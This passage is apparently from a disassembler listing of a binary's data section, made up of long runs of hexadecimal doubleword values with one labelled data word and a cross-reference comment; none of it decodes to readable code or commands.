945CE021h dd 0BF3C09F2h, 0E09ACB2Ah, 48C011C8h, 43FD953h, 74B69773h dd 1420EF5Fh, 1E8142h, 4A4B85B1h, 0A39D5A6Ah, 0EAF4340Fh dd 578760F2h, 9CBAE83h, 5609DCA4h, 4583755h, 0AE03FC02h dd 7AAA1C56h, 0B7F501F8h, 64F33663h, 9190DEFEh, 0DFB90117h dd 4565BA23h, 8160DB2Bh, 0D2DD7AFFh, 26A8C8F4h, 16A80701h dd 0B4F4A84Bh, 0ACE1A0E6h, 0D4C87B3Ch, 9F160E19h, 11E00834h dd 77725A6Dh, 0B6C2A100h, 5CF75E99h, 95FF9063h, 0F4397065h dd 6EEA58D2h, 543B04h, 3828C317h, 0B2DCDD90h, 32C92058h dd 6725CCB4h, 22F15CF0h, 0B3830068h, 651523Bh, 42EAE9h dd 0BFDBCF1Ah, 6B943E26h, 465EC8BEh, 66C48D0h, 0DFCE0359h dd 637B0019h, 1477941Eh, 0D8275B35h, 8844D1B8h, 0C043B2Eh dd 0E8F9A134h, 9F2C4C04h, 4CAAAD0h, 7B308917h, 4E550114h dd 34675C37h, 0A40C283Ah, 11EC1F97h, 3752810Ah, 0E32F96D2h dd 2A6D053Ch, 0A4A413DEh, 4CE64039h, 9DE55C12h, 0B058DCE2h dd 175E704Ch, 96FCFC54h, 35E214A6h, 3AE19A41h, 97084CE6h dd 5C0BE2EDh, 1ACFA7Fh, 0DACA13F0h, 2FDC670Fh, 9E55C020h dd 2A4F0020h, 0A261C1Dh, 98002928h, 6468AD2h, 4E15CE84h dd 80E4B811h, 0ACF9D45Dh, 9B790180h, 0C0B2CE45h, 848E00D8h dd 15B09D2h, 0A45056A4h, 36F8D893h, 1607FF0h, 97CAF1FFh dd 2B7021C0h, 0BF1620E3h, 0D7A4ADD9h, 0CFC8F88Bh, 2F4FE3C0h dd 28803C90h, 0E4BE3909h, 74E40BD5h, 0A800F664h, 613E0D6Ch dd 2CA9BC4h, 0AABBC793h, 467537A2h, 599C16D4h, 5E1CC0E2h dd 519758ADh, 180CF168h, 3C727833h, 6E057F9Ch, 0D529524Ah dd 546AEAF0h, 4E01DA23h, 22AE520Dh, 0E9AF5184h, 891CBCDAh dd 16105E68h, 0EAF4B0C4h, 34A0185Fh, 0BC9D4134h, 2D242040h dd 0CCCA9AB9h, 0C024ED5Fh, 9FED86AEh, 7E199B58h, 5808E1B5h dd 0F038A66Ah, 2D7857Ch, 284C319Fh, 1BD5508Dh, 65AED0FCh dd 0E884BFE6h, 8C9EAEE2h, 0CB2D8280h, 6E1761DCh, 7414CA38h dd 99AE0030h, 6D150492h, 1C0E09B3h, 0D0622E81h, 64E0CD5Fh dd 283B610Dh, 9A1EDF4h, 35FE8123h, 9E8BE473h, 8FB003BFh dd 4422C4E1h, 819E7B20h, 0E81F4D62h, 3FCBD24h, 6722836Fh dd 51E6E103h, 5FF197BAh, 16A091A2h, 28605973h, 8C0EAC64h dd 0D0F61400h, 0A8D2419h, 0B4F19747h, 3BAFAD01h, 0FEE687D2h dd 793C6004h, 0B0C04B16h, 0D587E408h, 767096B9h, 2C01DD46h dd 0B40C7B1Eh, 6C684859h, 3652C30Bh, 0B4BD5F39h, 0EB8B6500h dd 15E528F2h, 0FCBE8195h, 99331977h, 0C77789E0h, 54E488A2h dd 2A626F0Ch, 2533783Eh, 0F8FEA4B2h, 30F00E2Fh, 0D8FEEB25h dd 79BCF952h, 4F4918DAh, 28E218h, 73CB75BFh, 2A813BB2h dd 1FB40CCAh, 825F7C88h dd 0A66F71E4h, 912017F7h, 384B9C49h, 0EB93025Ch, 8FF05E7Bh dd 4040AE4Ah, 0CF99BD75h, 0CA091801h, 0C6626D95h, 0AD70122Ah dd 0DC2ED2D0h, 1D03DD23h, 0F2E94E3Bh, 6F34C1A3h, 7E6C422Eh dd 805FD767h, 0EA9BEB28h, 248113C3h, 0B045AE79h, 40EBDA08h dd 0AA552878h, 0EA009472h, 469825F3h, 2CCF1233h, 3B6F7ABBh dd 58605858h, 652218E9h, 945C9897h, 0FE041EABh, 0AE5AC010h dd 2CB87837h, 7348FB97h, 0BFA007D0h, 0E84F951Dh, 7849B881h dd 206B5286h, 8B11659Ch, 33267F0Bh, 2ECC56F2h, 0DB26DCF0h dd 0CC3810F3h, 0CF351008h, 6CDE1627h, 72DA7C40h, 413101ADh dd 35A3046Ah, 5EEC680Bh, 0F500686Eh, 431C7E70h, 47873F9h dd 0A8013304h, 94BC1B07h, 5C59722Dh, 0DE65659Dh, 4AF702E8h dd 44DA0DF6h, 95D13D20h, 28B884h, 6BC09E4Ch, 945195B6h dd 72F4E02Fh, 20140995h, 5CF0D5B0h, 80B2235Ah, 9476AD8Bh dd 4A467Ch, 0E05639Ch, 0B121D9C4h, 39003EF8h, 0F31F3FCBh dd 7400DE88h, 48FF2F58h, 9017594Ch, 14E6208Ch, 0F4C9335Fh dd 40FE4AE0h, 0FB728203h, 7017C825h, 4B90FC18h, 0B90884B9h dd 0CE6D638h, 2AD5ECA0h, 0BF00E8F4h, 0EA1ACDE4h, 5DC7DB1h dd 0B7CCF8C6h, 588BAA34h, 41A0B800h, 79B372ECh, 88824A5Ah dd 204ED511h, 80437E4Eh, 9178BFABh, 0FFF3631Dh, 0D51684B2h dd 178A0C10h, 560E3074h, 60FD6F50h, 41589323h, 80E41C55h dd 306C85BAh, 0E314C19Dh, 8E8C410Eh, 48CA6AECh, 0A018B65Fh dd 258FB828h, 1090E1D5h, 0C25A6CF8h, 3EF274B3h, 8C2B6D31h dd 937283A8h, 0FDFC6709h, 5ED0FEE3h, 1F020C46h, 0B22812C8h dd 9A606055h, 0A7E3800Bh, 0D1CD592Dh, 18D9D9F8h, 5D4E0B18h dd 945671EAh, 0BC545564h, 76780122h, 799C5205h, 0ACB40F82h dd 0F7CB0EF4h, 0E05287B9h, 0F678CA3Ch, 60619725h, 17060258h dd 0C02A9634h, 0A1A06550h, 2F26F1FBh, 0C07F4F0h, 5A599E53h dd 0B744D881h, 0CDF42532h, 0D3D38C8h, 0E967E300h, 4ADA0EFEh dd 351C04B9h, 0C04C1EA2h, 2F3CFBC0h, 6E804091h, 25C357A6h dd 18E89568h, 8098061Eh, 0D6D1052Dh, 7474C980h, 8F5E9F4Fh dd 0B81EB780h, 126905D0h, 0ACFB018Bh, 0CEF21F4Ch, 0D62D5C5Dh dd 0A0F12F6Ch, 0DA6D4B07h, 9401C4DAh, 85BAFAD7h, 61D9B0F0h dd 9F0F70DFh, 0EAAFF84Dh, 959DAA06h, 7779DA6Fh, 0C39B0232h dd 0CFE197B7h, 801D8E4h, 0BDBECE8Eh, 302F0A83h, 0CB498760h dd 107C5C86h, 0EE070280h, 0FD0792B2h, 42774AE5h, 0FCCEC300h dd 21700247h, 0FF19BD26h, 0B11745Eh, 0EA4A6F0Bh, 0FB20225Fh dd 0CB2207E5h, 9B0050D9h, 0BE5C464Eh, 90F66023h, 0CD9765F5h dd 0E2203CB8h, 52060338h, 361A719Eh, 10071002h, 75BE0990h dd 185ADC22h, 599C5100h, 284A6912h, 0FC040B55h, 8FB96078h dd 0E9C5D975h, 90E07642h, 599B09E4h, 687A3CAAh, 6682DEF6h dd 0D7AC01A0h, 636A8194h, 0DC982B68h, 13052CE2h, 49B99230h dd 9CFE5058h, 0D8B1FDEh, 0CCCE814Dh, 9F1A819Dh, 0B7975C99h dd 34AB18C4h, 0E08CB6A8h, 0D8AC2Bh, 0B801FC53h, 3AAB7D6Eh dd 9ACBD9Fh, 88743140h, 0A8946563h, 95F14738h, 4C79E8C2h dd 1418CB79h, 46976103h, 0EA9349E9h, 0ABDCE138h, 71C00B3Ah dd 0E5C068EDh, 581FDBBEh, 0C80FBD38h, 92BD9Dh, 3308D3A8h dd 31C37DD2h, 0CAC5B4E6h, 20E872EFh, 0C2F1165Eh, 3CB77Dh dd 8DA1A7E4h, 7E09A95Ah, 0D1C0C998h, 2013EF00h, 0FDFFD72Ch dd 4388C900h, 2F51C794h, 80A0DADh, 2E609D36h, 0ADF000A6h dd 0D2097D30h, 25DF819h, 5E109380h, 807CE9DCh, 0D25A6F02h dd 76547E33h, 704946h, 410C0696h, 16693B93h, 6E986492h dd 2CF29A4Ah, 5337A8B0h, 7C89BC27h, 0AC444094h, 5B8E0BFh dd 53C2A52Fh, 3E0C71C0h, 0B8928CA2h, 1454A748h, 613C7F02h dd 896387Ch, 0FC0574ECh, 0AAE6AD70h, 9EC034DEh, 27C40947h dd 16288F00h, 22A6EFDh, 40589408h, 34B3B65Ah, 90B9BC4Eh dd 781313BCh, 9C023146h, 63A5679h, 86273706h, 0D618FC59h dd 3D07957Bh, 56F13A5Bh, 0C4EEDCD4h, 58CABF1Ch, 0CCC2C225h dd 64375Fh, 82342526h, 370062FAh, 51B201C9h, 4A7FF99h dd 45DDEDCAh, 0C9CAB96h, 6DE34038h, 3A11E5E7h, 3B8474A3h dd 819C01EAh, 59121206h, 0D6A8F6h, 979413EFh, 3BDF5581h dd 8320B090h, 0EC0897D6h, 47465C2Ch, 546D8500h, 0C1B38D40h dd 88947EEEh, 38885180h, 0B4944Eh, 994F531Dh, 9C399A1Fh dd 78ABED04h, 84EA042Fh, 0B858A99Ch, 0A0C2B7B1h, 0E848A2D5h dd 9D9F02E4h, 0DBC4BA55h, 0D8B651C8h, 3327B13Fh, 18E02B98h dd 90886FE0h, 9B37008Dh, 6E66C787h, 0F5267CC6h, 8938781Dh dd 5ECEE939h, 9C5EE9A8h, 89B917D4h, 6B5400B8h, 94341756h dd 4691F060h, 24667A2Ch, 2C8FCA7h, 0FEC306A3h, 0BADCB557h dd 8C8F117h, 0D18020E0h, 301B9D61h, 7F492495h, 71670DA8h dd 0B8A079C8h, 9DBEA6Bh, 0D9D3FDA0h, 5403D85Ah, 576DCDCAh dd 7DC1E0C6h, 0D55D0029h, 0CEB6606Fh, 0DC95BD89h, 0AE611294h dd 3FFE790h, 1C66E01Fh, 0D250F88Bh, 0E587AEF9h, 0E535273h dd 310F5B12h, 6303B7E7h, 34DE585Ah, 1C88BB0Dh, 0BFE03189h dd 0BF6C7F34h, 0B90006D9h, 3D92C5BCh, 0FB870883h, 1D095DE0h dd 2D6D7509h, 97FACFE0h, 84126022h, 8589778Bh, 2EB5B006h dd 300E6006h, 8BEF0B3Dh, 76109BDh, 1ACE90Eh, 0B70F4A87h dd 0A885E3FAh, 0C836396Fh, 34C71C24h, 31F6EA74h, 0A9896AF0h dd 0AC5029B0h, 0D70781E6h, 0B58B2D4Bh, 0C6F8739Ch, 7416C580h dd 1735A8C4h, 0B504890Ch, 1D0D9933h, 41EBA85h, 67B4BA31h dd 4462B89h, 0AC9C78A3h, 322A2003h, 40068C0Fh, 0CC25831Dh dd 194566Bh, 7E5F0C40h, 34AD3529h, 0DE16070Eh, 0EE247589h dd 21F4EC8h, 116E939Dh, 40F76856h, 2BDBB45h, 5B122004h dd 795F8583h, 0FF943C11h, 0B784C1B5h, 4B4E8B6Eh, 0CC8549BEh dd 5BB79D80h, 0C8FD65B6h, 7102557Eh, 3EF15188h, 775255D1h dd 0F956B002h, 425FB730h, 1D718F65h, 0EF4E6FA4h, 601F3CFBh dd 0F7A075A5h, 0D70FB1CBh, 22008675h, 0D12C9C3Eh, 1A93DA7Fh dd 0F65A05FDh, 145EDA55h, 0EF5822B3h, 0C527F704h, 0BF44988Dh dd 0AB70C214h, 2D9509C5h, 9049241Ch, 5825B4AAh, 0F2405E60h dd 0D1809Ch, 0E34C526Bh, 5035616Eh, 802B7495h, 2D04A8C9h dd 1725730Fh, 0D4A05514h, 37CAF5E2h, 45215900h, 6E5092BFh dd 5F5B7125h, 0B883F990h, 2ED200F7h, 8B5E776Ah, 0BB144DFDh dd 95DD850Fh, 0EF8180E3h, 27D2A6ACh, 0A05D6130h, 0FC69528Fh dd 3CD63D7Ch, 844FC084h, 0E574C164h, 4A3AA02Bh, 0D661FE95h dd 0D4F9F205h, 0BA25BD83h, 0BA84EC0Eh, 8DBB0227h, 3EE9031Ah dd 6BEA6D4Bh, 89CA3883h, 0B8FA96h, 3050DE25h, 734D900Ch dd 0C1010F44h, 0E5910E8h, 0F84CC102h, 0F0BD5803h, 0E7750D82h dd 0DE3636EBh, 0EE396404h, 501B3316h, 21402829h, 13CD5818h dd 1B095701h, 95C08BC0h, 0D6B77Ch, 56D3ED06h, 3805EEAh dd 52FE8B24h, 5C08F307h, 0CAB59D72h, 0E6BE0826h, 0D81D106Ah dd 76375F27h, 95B2E880h, 1CD4885h, 0CAA0AA89h, 4B1FF780h dd 5DA334F3h, 15D95281h, 12278404h, 0DBF10113h, 0A8598D09h dd 75205AAFh, 45C49001h, 0BDD288A4h, 0ACC71F1Ah, 0BA043411h dd 77B0E5F6h, 0CE98B350h, 36AE344Ah, 9BA3687Bh, 31BB6802h dd 917ADA87h, 2F20605Ah dd 860F26D3h, 72814984h, 8961D8D2h, 751555C0h, 0BAE0856Dh dd 64F4BC8h, 0AB454959h, 8929942Fh, 55498A1Ch, 3760A66Dh dd 30ADCEAAh, 8CB8CD73h, 0D305815Eh, 39C4D7FAh, 0A8D96482h dd 508DCB5h, 8689061Eh, 331F4BC4h, 2570559Dh, 0A00EE195h dd 801F5D18h, 44CC283h, 0BB5BC4A3h, 0D8D5A3AFh, 0CE2031E4h dd 0BBB2506Bh, 5CC0CD9Ah, 0BA0F17Bh, 2971FE2Ch, 4E0AF9A4h dd 5D259ACAh, 0A58CECB5h, 44C9A28Bh, 0B8528625h, 0CB8105FEh dd 0F84971DCh, 5517325Fh, 7B5893F3h, 9B860027h, 0D945477Ch dd 851A31B1h, 0C17F26C1h, 0A052F97h, 0A5C5E138h, 0B9033575h dd 0D4FF3480h, 3CB690D5h, 66024903h, 4B1B7BFh, 892DFDCh dd 75969550h, 14A8DDFh, 41347DFDh, 415694Ah, 0A3038F44h dd 1D9D0FC1h, 0F07512EEh, 0B6FC9D68h, 2EFC0BD6h, 28989DECh dd 3E08ABCEh, 660B7EBh, 22295E5Bh, 7BEB0659h, 0E48084B9h dd 1541FA49h, 19870381h, 0F9BE8838h, 28C3A998h, 46427C31h dd 0E27E310Fh, 0A1550238h, 5D69447Bh, 5A4194F3h, 0BD725B58h dd 0D5020622h, 0E79F403Bh, 0D2740B0h, 595B812Eh, 62E161ABh dd 11A540E8h, 8A6F27D3h, 8AA3AF02h, 4B45205Eh, 0F41F7727h dd 2600387h, 0F5A95C11h, 240D9C89h, 0E08C4D7Dh, 8FE5BFB3h dd 6732E802h, 90E9137Ch, 4CDA2D96h, 0F524F599h, 8329151Dh dd 121D0224h, 0DA8EEF4Dh, 58C018C8h, 14B13F6h, 0ADCF8128h dd 307EA75Bh, 2B40397Ch, 0E6140BBBh, 0E1983DBFh, 287E5D7Ah dd 75B04026h, 0C290D88h, 922C65Fh, 0D4598526h, 251EA1ACh dd 0B92EE160h, 0E7DBE8DBh, 0EFE9460h, 0FFF2B4E9h, 8DBCE035h dd 0E270AD04h, 0FDC3B35Bh, 0C18BC92Dh, 5C80AE28h, 0CD8F7030h dd 2BA87600h, 4993E6B2h, 77A513CFh, 33C9AA83h, 0ACDEF92Bh dd 0DB6D26C9h, 77D0861h, 0B3FB8B0Fh, 0FDD9D50Bh, 4C1D298Bh dd 0C7831811h, 93F269C1h, 896FE8CCh, 0BF0330B2h, 5823DB3Bh dd 405F6248h, 0F3318031h, 0FAB717DEh, 0C249E885h, 9F54E2Fh dd 0C0830990h, 0EACD5505h, 0FA04526Fh, 90092B21h, 9C442E89h dd 937857F0h, 38FA1601h, 0EB316E73h, 3FA007C0h, 50094341h dd 47825F5Bh, 3163DF8Bh, 90FE8AC8h, 0D6EA7695h, 6CE794Ch dd 57C861E3h, 299D132Eh, 0D88FEA16h, 0EAC01A88h, 2763B42Ah dd 7B09A260h, 60C4CD7Dh, 0ED02CD63h, 0E6890F29h, 4229B589h dd 0CB53750Eh, 1C0A6D08h, 0A155678Dh, 28A19DC5h, 10D13199h dd 8B52DE41h, 8335016Eh, 4B7D850Fh, 0C440AA67h, 0E2585E32h dd 0B16E00F3h, 0A280B7D4h, 0F575B4E4h, 5FA4DB12h, 4BCFA400h dd 1B52026Ah, 5721B501h, 8A0F50F0h, 69E2DC97h, 64234757h dd 54206018h, 0E243129Ah, 0DD920E8h, 0B100B4F0h, 5A5BEBA2h dd 0CFD848h, 1162BFBAh, 0CDBD2B02h, 0B15FF5CBh, 0A92E3117h dd 0BF0F1F0Dh, 0D71E984h, 892FE2EAh, 5D862953h, 8760756Dh dd 2F2A4C9h, 0DD2CA821h, 67D053CBh, 0D6275497h, 9BA0E100h dd 3E42DFC6h, 28D7903Ch, 99FA993Ah, 0CBED80D5h, 44C8DD43h dd 6DE6E400h, 0B09C02C2h, 2A1B0FE2h, 0D21465FBh, 4C088711h dd 75E59CF8h, 0DB77A392h, 26495A53h, 1DAC20FEh, 0B67F0D41h dd 0D5F5C9DFh, 56A1F5C4h, 9608FEE1h, 0FF6AFE07h, 0E481DAB5h dd 0BD2F24D5h, 0B8E5BC36h, 4854BF0h, 511A957h, 0BCA002E9h dd 180BE0B0h, 1A10A59Dh, 564870E6h, 0CC027375h, 3C71E45Bh dd 0E8B46161h, 0C1938214h, 0B6342744h, 0F4BFACC8h, 37986024h dd 365AC619h, 0C396C92Ch, 0ED411461h, 0C313DD73h, 952904E8h dd 51021893h, 0F766F8B7h, 0DC0863E2h, 10C0F650h, 0A39068D6h dd 5501F504h, 0E480DBEAh, 138726B5h, 49BF124h, 0B389C81Ch dd 75D1255Dh db 0A0h, 5Eh word_505446 dw 3039h ; DATA XREF: ___:off_4274D8o dd 611C2477h, 26909589h, 0DE95B09h, 0F70AF544h, 0D052B69Ch dd 170FB108h, 1D1E0A5Fh, 15CCB7A4h, 718881Bh, 0A2DFE0A1h dd 0A17D940Ch, 0E6955781h, 5B0AB3B5h, 11AAD03Bh, 0A1AC6211h dd 33E90225h, 3079B598h, 0C683D497h, 6F91DA01h, 6B04E113h dd 545E1884h, 0FE0115A5h, 0ACC6EEBBh, 5DECA017h, 2FE9FC37h dd 1FB58D00h, 0CB769723h, 0F11EC260h, 0D587054Dh, 0FFED9D33h dd 5F6AAAC2h, 20715653h, 5119006Eh, 32818529h, 459E5599h dd 0CA604CA0h, 0E6DFE6C9h, 873F010Ch, 997C7577h, 916152h dd 0BD9AC3D3h, 5DB96127h, 0CD7F9809h, 9F90603Bh, 8A039437h dd 85311799h, 0B1A34065h, 0DC7E95FCh, 19B72D6h, 0D1E415A2h dd 5BFC8EC7h, 8DACC09Eh, 9DB8D02Ch, 3AE00A74h, 58E6E9h dd 64C566DAh, 21041C97h, 9FC78FA0h, 0BA5BA71Ch, 55BDD727h dd 0C48F7100h, 12C18CBFh, 4EAE540h, 1109D7Eh, 0D1C233ADh dd 92D05696h, 0DB46F47Ch, 4D144A00h, 0C998CAECh, 1E8E7h dd 8D0D565Ch, 0A1F30B63h, 7C6E294Bh, 725B0300h, 8D89D22Fh dd 9C9749Dh, 4F7F880Dh, 819F4513h, 3D08D1A8h, 0A904D27Dh dd 0C9875D0Bh, 0D7A921A7h, 33C095CDh, 2623564h, 0BD89E99Fh dd 50011FA5h, 18C8C28Bh, 8C16F03h, 0C9B02A1Dh, 0D2845819h dd 0B92FE06Ah, 75049BD6h, 0BCE205A9h, 0BB708738h, 0FE0D3F1h dd 0B70761E0h, 8D293F87h, 448A2A29h, 30646Bh, 6D18A068h dd 28A29CB4h, 3444517h, 4EA1D306h, 0DF810E36h, 3F821913h dd 0E9D3E1FFh, 0E2601A70h, 6D8D2709h, 0BD293282h, 5698F7E4h dd 0A0058022h, 7C0DE082h, 0EABF12ACh, 8D3B1692h, 51941194h dd 19880F04h, 4073A6C2h, 901D0E98h, 8B92042h, 1207E922h dd 0EBF4DB56h, 0EC8136C4h, 0DA6D1875h, 26E444D2h, 0E7985604h dd 4AE34386h, 74D3FEBh, 0A9CE6E66h, 0C160BAB2h, 85BEC148h dd 0BFD98C92h, 0E3C203DAh, 0DB664898h, 843AB800h, 1DC17361h dd 40D502C4h, 375E4BA9h, 9ABA67D0h, 31E18024h, 43DEB709h dd 84C9EA12h, 0A7BE3281h, 0EC67A0FAh, 39F707A4h, 0F2DD9Dh dd 15FDBD09h, 0BFDE3895h, 3DD6B049h, 8D90337Ch, 22B54125h dd 827976AEh, 0C28B06A1h, 57509021h, 9482229h, 870E2C16h dd 7A40E906h, 0C2D25FDEh, 0DC3FDABBh, 0A1BE80C0h, 2CCB2C0Eh dd 15E051C0h, 21509F29h, 2F7896F1h, 5CB6D294h, 0AABECB00h dd 4E188C91h, 34BC5F61h, 0D020836Fh, 604AD48Eh, 0D07D03CDh dd 0E6DCD337h, 0B3BED861h, 4195BB40h, 0F40A7B6Ah, 0E7A9959Dh dd 4DA5255Bh, 0ED1D40D3h, 7D3A2298h, 49F0E20Ch, 29590920h dd 0E9BD0385h, 9D12E15Dh, 918A21E4h, 0ACDC3F4Dh, 0BFCFE80h dd 420743BAh, 0D598C63Ah, 50A1A890h, 5D57259Ah, 9B953AC6h dd 59DA2534h, 13595409h, 0BBFC8A80h, 4B6CC1CBh, 0F198C45h dd 89F8BF1Dh, 4954906Dh, 6FC812BEh, 23C6441h, 0CB5BBBD0h dd 8C61C987h, 1C4051ECh, 39C72880h, 44604B8h, 0BB819D09h dd 458C48A4h, 90B86C14h, 1B63A06Ch, 6D5F2D35h, 6DD54E89h dd 0C51264AAh, 2ADB0815h, 11E36112h, 5099204Fh, 8A00AEC5h dd 962D77Bh, 811DA1B5h, 0D450225Bh, 818A7A37h, 50CAA69Eh dd 7C340A89h, 0B3525110h, 0C25B7320h, 8938101Ch, 2769102Ch dd 89B75851h, 0FDF2F02h, 2A825188h, 0C02C9630h, 71E60CFh dd 0CEFEBE00h, 0DECD67B9h, 2EE60197h, 114D2336h, 28A013Bh dd 38D0B311h, 8F4326h, 4F99D278h, 0BC9DACC7h, 9AEC404Ch dd 2600ED6Bh, 274238Fh, 227E64Eh, 0F8AC148Bh, 0C0415EEEh dd 0AF45C65Fh, 0AC1FDF25h, 50AF81BFh, 1C1D0938h, 58D38D60h dd 0AB4FF07Dh, 0E114026Bh, 800F65E9h, 67807E48h, 0A7D7664Ch dd 0C035305h, 4B06EBBh, 351E9765h, 4656B09Eh, 0DCED001Bh dd 0B29BEC8Ch, 0CAC74A76h, 314E3447h, 54E03BE6h, 3F016361h dd 92CC8907h, 21A541E9h, 0D9000337h, 0A0DDAB43h, 0A9E92647h dd 0E3FE1215h, 6858AE5Ah, 0B8949922h, 82736509h, 5C76D860h dd 4185039h, 0CB4BF581h, 0BB1D0A34h, 0C6B0A2A6h, 710B9E64h dd 0EED9EA03h, 0CB7C9F72h, 8FA7007Eh, 0C669EC9Ah, 0F84BFD0Dh dd 6E2A498Dh, 0A657121Fh, 214ADCB3h, 0EC3D4DD3h, 0DB0EADE6h dd 402A4BA5h, 0BA60A861h, 564916E5h, 21EB042Ch, 5B921F0Fh dd 484C7FE3h, 1303910h, 0AE6CBF96h, 0EC647E83h, 56B7F4FBh dd 1AE28BEFh, 44CA630h, 9DDF8717h, 11E4AFD3h, 41E7936h dd 0F52A359Ch, 0D27FB982h, 3F802ADAh, 0B06C45C0h, 363A9200h dd 0A9BD2BD7h, 7F169719h, 54E03087h, 5C08C10h, 2C8571C8h dd 2B998C88h, 0B9994418h, 1BB6414h, 6687C846h, 73A3A928h dd 61A80020h, 0A481E06Fh, 0B22E002Ah, 0EB8B9C2Bh, 0DEE22DA2h dd 53A21997h, 301FD63h, 56E5F46Bh, 0A8302E5Fh, 9CDAB70Fh dd 4DD76928h, 0FE096274h, 17CD1840h, 0E8C21097h, 85F9880Ah dd 0B601E400h, 3E9505B3h, 209DB82Dh, 60C41839h, 99B92050h dd 236F2ED2h, 0B7BD001Ch, 0B11B5F73h, 0A7FA7F04h, 1CC1DA8Bh dd 742E0251h, 18AA2A2h, 63C294CFh, 8E85E196h, 202BD5B5h dd 198E0F89h, 0F4E0D4BCh, 22B9A3h, 0DE82EED4h, 39EB187Eh dd 4F986971h, 25A7E73Dh, 64816D5Bh, 0EF696115h, 0E3816E38h dd 0F85D2238h, 660961E1h, 73921112h, 181759C9h, 9A051496h dd 0D110E5EAh, 6050022Ch, 80E8FC8Ah, 1D651C3Fh, 16880180h dd 87E0C55Ah, 5B0D708Eh, 25F075E5h, 9488903h, 0A5BFD321h dd 0D40F4D64h, 0A2AF69F7h, 5C5BF81Fh, 0DC5969E1h, 0A6BF4A44h dd 0DD300007h, 57AEC827h, 92BD0011h, 0FE972645h, 0DC03D765h dd 0F27F799Eh, 0DA921396h, 0E64F5250h, 77DBE059h, 42F7569h dd 0E5973316h, 0FA4C0417h, 148876DBh, 980487C5h, 0C1B91F6Dh dd 94A2D2h, 0E408279Dh, 1DB339Ah, 5D5E71F3h, 0E985AF64h dd 6643596Ah, 898AB1A4h, 73297A90h, 0B31B514h, 0BCD64A49h dd 5FFE9FAAh, 0C4ABB593h, 0A299ACC8h, 0B8F82426h, 7E30D274h dd 0FCD495FBh, 55D0B7C3h, 242D0300h, 34B14E67h, 6AF204BFh dd 0D7C6362Ah, 0B8DB9458h, 0E3DAF472h, 0AA8DEED2h, 7BDBDA40h dd 38E9755Dh, 0FFCEFFF3h, 0B42EDB40h, 0B6A3BC7h, 4B5EB7F2h dd 0CD5BB0C1h, 0BF6950C1h, 6200EA22h, 0B44C9D8Eh, 0F68B30FDh dd 0BF5124Dh, 86BA20E9h, 870AFA7h, 0E94201A5h, 61E76860h dd 0CCC800FCh, 1C98ACB3h, 6B005D03h, 371150AFh, 0BA9CFBh dd 6F90480h, 783C59Dh, 5072E800h, 22263B54h, 0CF8900E6h dd 0C06F2DE9h, 0F023AB4h, 0C94F92C4h, 95F17DF1h, 8187FA5h dd 590F6FF2h, 200FEC72h, 0B234D86Eh, 27430390h, 65DF38E6h dd 7B8914B0h, 34ACF130h, 0C052DCE8h, 0C03B270Dh, 80F5AF5Eh dd 95673268h, 1F499C25h, 41F2D975h, 1799A7A8h, 6A328079h dd 600F58F4h, 15DA6054h, 0AB7AB3AFh, 3136E260h, 0F2951137h dd 74E306E5h, 2B51DBE9h, 0F33A2400h, 556FF00Fh, 332B0376h dd 53CABA11h, 0F18702CDh, 0CE40F377h, 0D6007274h, 0B4E4DDAh dd 6ADF435h, 1892BEABh, 6D004E8Ch, 0D77A51EDh, 0C9FB9B8h dd 45A680C0h, 4D61DC2Ch, 0E9DD6627h, 156E8h, 16E238ECh dd 0FF1B7502h, 9B122C00h, 970572FCh, 532A2A7Dh, 0FFB44AF0h dd 6640CD60h, 0BB472A85h, 239C00BEh, 0DA37335Fh, 95007D96h dd 8F5C62F6h, 646D3AF3h, 0BA694B01h, 41C3D2A7h, 5904B933h dd 0FBCD91CCh, 0A8C781C1h, 9F128EC4h, 2530C25Eh, 4B64A5B5h dd 714EAA66h, 0FE4923A2h dd 352DD045h, 78970013h, 5E0DDEF8h, 28001C43h, 84BA9EE1h dd 90C46327h, 518161FEh, 0F8A36AF4h, 750110C6h, 0B4D3DAF2h dd 0DA8CDFCAh, 0D7CDA872h, 174D4801h, 0CA852731h, 66F83C82h dd 0D97D23A7h, 0A9B58020h, 0CBC25C9Fh, 5BA2B400h, 4BA03C18h dd 5E6005F4h, 372E8Dh, 0FDF267FEh, 3BCF5DEFh, 3992A030h dd 0F9175EEh, 4A3E37DEh, 1062F987h, 0E938F189h, 534F7100h dd 0B3182234h, 0D3F5006Ch, 8EBEA5F8h, 7900DE3Dh, 0AF096447h dd 9028F3EBh, 54ED0121h, 1D3B3A70h, 20E4C881h, 0A588F214h dd 653C11FEh, 0AC9E28h, 4FED0134h, 53EFDA86h, 3C257803h dd 6832D3Bh, 4D5BF6FBh, 0D6000FA3h, 3B902C48h, 0F807FB70h dd 0E4607BFh, 81108C28h, 82C26C78h, 62ABB72Dh, 70D4464h dd 37094F4Ah, 4D4351D4h, 958650BCh, 0E4775F3Ah, 6C50C901h dd 931D2BB6h, 0BBE61F80h, 88019DA7h, 0D95065E4h, 12F119D7h dd 0E5A060C5h, 251F007Ah, 1796A803h, 3F013984h, 5BC2B219h dd 0EA604367h, 0E7E1FEFh, 0A2094022h, 8B25339Ch, 60FE69C0h dd 8D9BC4h, 8AC6D908h, 75C8233Fh, 80D5F33Ch, 37A086BEh dd 0C2129CA8h, 66FB6D5Eh, 140AD7A0h, 0CA310695h, 0F05F1D3Eh dd 0F8CCE4h, 7E340831h, 3844D3C6h, 0CB23B660h, 0C0E78957h dd 0AB849A0Fh, 71008DB7h, 3C1A5AB5h, 3BD090EFh, 3E933425h dd 0BE150073h, 6559026Dh, 21074100h, 8878F2E5h, 2C77156Bh dd 0AE258C11h, 1C3E94D5h, 0F398123Eh, 0D190ED70h, 0AD26A7FAh dd 7003578Bh, 0D55765h, 1AB6A821h, 0CCEA6AB1h, 0F5A0FF28h dd 932F1100h, 7B7CE538h, 2FC3606Dh, 0BF0CA8B6h, 7448CD00h dd 0D1B5AEFDh, 0BD9B00DDh, 0DFE17712h, 0BB06720Ch, 0D796D0C7h dd 4B4E38B0h, 84240340h, 790413CCh, 4CC80AB0h, 328102B2h dd 8486923Dh, 0D514D580h, 0B0603A46h, 5455C50Fh, 1E4900D1h dd 0B738DD83h, 0FE128D46h, 8309FC2h, 0C03BA648h, 8579F032h dd 730C80CFh, 1836D8E4h, 0D74B0694h, 956F48DBh, 3EA22E53h dd 55C03Ah, 3C6BE6C5h, 767349FDh, 1E8F2300h, 0AB674103h dd 3214024Ch, 8264F3D9h, 2AA08D8Fh, 36105056h, 173FA3Ch dd 995361EEh, 80E00F4Ch, 4D424C05h, 8D12524Ch, 0C84B5FDEh dd 0A900674Fh, 0D3381E56h, 483C1C21h, 